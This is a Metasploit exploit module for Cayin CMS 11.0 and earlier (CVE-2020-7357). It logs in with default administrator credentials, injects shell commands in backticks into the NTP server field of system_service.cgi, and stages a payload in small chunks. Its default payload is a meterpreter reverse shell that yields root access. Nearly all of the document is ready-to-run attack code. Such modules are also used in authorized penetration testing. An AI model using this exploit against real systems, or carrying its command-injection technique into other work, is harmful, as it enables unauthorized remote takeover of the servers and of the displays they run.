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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cayin CMS NTP Server RCE',
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        'Description' => %q{
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          This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
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          in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
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          repeated requests are made to achieve a larger payload.
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          Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
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          environment should be pretty set and not dynamic between targets.
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          Results in root level access.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die', # msf module
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          'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
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        ],
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        'References' => [
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          [ 'EDB', '48553' ],
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          [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
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          [ 'CVE', '2020-7357' ]
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        ],
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        'Platform' => ['linux'],
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        'DefaultOptions' => {
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          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
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        },
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        'Privileged' => true,
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        'Arch' => [ARCH_X86, ARCH_X64],
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'DisclosureDate' => '2020-06-04',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),
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        OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),
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        OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),
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        # from the original advisory, leaving here just in case
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        # OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])
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        # OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
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    )
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    if res.nil? || res.code != 200
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      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
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    end
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    if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
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      print_good('Cayin CMS install detected')
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      return CheckCode::Detected
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    end
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    CheckCode::Safe
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  rescue ::Rex::ConnectionError
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    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
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  end
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  def login
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
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      'method' => 'POST',
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      'vars_post' => {
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        'apply_mode' => 'login',
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        'lang' => 'ENG',
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        'username' => datastore['USERNAME'],
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        'password' => datastore['PASSWORD']
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      }
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    )
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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    # instead of a 302 like most apps, this does a script window.location to forward...
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    unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
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      fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
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    end
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    res.get_cookies
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  end
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  def execute_command(cmd, _opts = {})
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    # originally attempted to use the 'test' functionality, however it attempts 3 times which
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    # means our exploit code stage chunks are written 3 times.
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    # also attempted to just 'save', however it doesn't execute an update.
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    # 'update' was the prefered functionality
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    send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),
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      'method' => 'POST',
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      'cookie' => "#{@cookie} sys=Service",
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      'vars_post' => {
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        'exe' => 'webSvrUpdateNtp',
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        'ntpIp' => "`#{cmd}`"
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        # test button, executes 3 times
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        # 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs
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        # 'ntpIp' => "`#{cmd}`"
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        # save button, but doesnt execute
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        # 'save' => 'webSvrNtp',
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        # 'ntpIp' => "`#{cmd}`",
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        # 'ntpEnable' => 1,
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        # 'ntp_server' => 0
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      }
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    )
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  end
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  def exploit
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    if check != CheckCode::Detected
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      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
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    end
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    @cookie = login
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    execute_cmdstager(flavor: :printf, linemax: 200)
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  rescue ::Rex::ConnectionError
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    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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  end
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end
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